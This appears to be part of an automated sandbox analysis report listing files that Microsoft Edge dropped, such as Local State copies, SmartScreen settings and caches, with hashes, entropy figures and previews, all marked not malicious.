SHA-256:	3AA8A0A520F7EBE945413987305792FB233E65A8DB601E46DFC9465C85A087CE
SHA-512:	353A34596ED4F5E6301209B0B9C04C8E71D516BFF037C515651152F5AEE2B9CE2FA5F7A0D59C815BF297CB9A4C76519D2C83E509D5FDD67389E12C1442D35ED9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d821.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089767122376445
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWZdi1zNtPMukzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynH1kzItSmd6qE7lFoC
MD5:	E0CAFFCBE0B57275CFE1C6DB70D327B9
SHA1:	7CF78E404DFB068670F26E1FC150DC0AC33E8752
SHA-256:	3AA8A0A520F7EBE945413987305792FB233E65A8DB601E46DFC9465C85A087CE
SHA-512:	353A34596ED4F5E6301209B0B9C04C8E71D516BFF037C515651152F5AEE2B9CE2FA5F7A0D59C815BF297CB9A4C76519D2C83E509D5FDD67389E12C1442D35ED9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41f0d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089767122376445
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWZdi1zNtPMukzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynH1kzItSmd6qE7lFoC
MD5:	E0CAFFCBE0B57275CFE1C6DB70D327B9
SHA1:	7CF78E404DFB068670F26E1FC150DC0AC33E8752
SHA-256:	3AA8A0A520F7EBE945413987305792FB233E65A8DB601E46DFC9465C85A087CE
SHA-512:	353A34596ED4F5E6301209B0B9C04C8E71D516BFF037C515651152F5AEE2B9CE2FA5F7A0D59C815BF297CB9A4C76519D2C83E509D5FDD67389E12C1442D35ED9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4c252.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089767122376445
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWZdi1zNtPMukzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynH1kzItSmd6qE7lFoC
MD5:	E0CAFFCBE0B57275CFE1C6DB70D327B9
SHA1:	7CF78E404DFB068670F26E1FC150DC0AC33E8752
SHA-256:	3AA8A0A520F7EBE945413987305792FB233E65A8DB601E46DFC9465C85A087CE
SHA-512:	353A34596ED4F5E6301209B0B9C04C8E71D516BFF037C515651152F5AEE2B9CE2FA5F7A0D59C815BF297CB9A4C76519D2C83E509D5FDD67389E12C1442D35ED9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF51d34.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089767122376445
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWZdi1zNtPMukzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynH1kzItSmd6qE7lFoC
MD5:	E0CAFFCBE0B57275CFE1C6DB70D327B9
SHA1:	7CF78E404DFB068670F26E1FC150DC0AC33E8752
SHA-256:	3AA8A0A520F7EBE945413987305792FB233E65A8DB601E46DFC9465C85A087CE
SHA-512:	353A34596ED4F5E6301209B0B9C04C8E71D516BFF037C515651152F5AEE2B9CE2FA5F7A0D59C815BF297CB9A4C76519D2C83E509D5FDD67389E12C1442D35ED9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.000318331277042
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXBmR/cU:YWLSGTt1o9LuLgfGBPAzkVj/T8lcR/F
MD5:	AC220AEEC6DB86E3552C320F4BFC4F2E
SHA1:	DCF56C95D1A4A94DE5D418D66DAA0CF20FBA4F99
SHA-256:	50A53D52FBEB66594090C8D1DC7C2450A5E294250D264B5461F2C18D76EFD4F0
SHA-512:	91294993F0F140348499F088094443AEC27B6E09D7D9FD93C0A126A3927D7C63F7FBA6A157A76139EC5F0769CAEA8074C7812AAD98CD9619CC48ECD59C1002EA
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732519240090914}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c16c520a-2f7c-45fc-860b-e4ebdd2f942b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44906
Entropy (8bit):	6.095874759121539
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWyci1zNtmR4Nis5lcKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynaR42KtSmd6qE7lFoC
MD5:	DF62C8F21BE595F4485A9555486C51CF
SHA1:	09033F015B2BAA55AA5D8B90D516AA421077E2D8
SHA-256:	F524872718FC1C50428EC50E9ADC67E7F445051E40438612AC43E08242D1894D
SHA-512:	28308AE90608B9B0F7D7FDC563786F5F1F18F7A9FB655F0A1B2774FB672ACBF2AD0CD74D1D02DFF7D0B78B97A3B13C8E5AB1CBC089F74DCCCE2350E75E55F6C3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/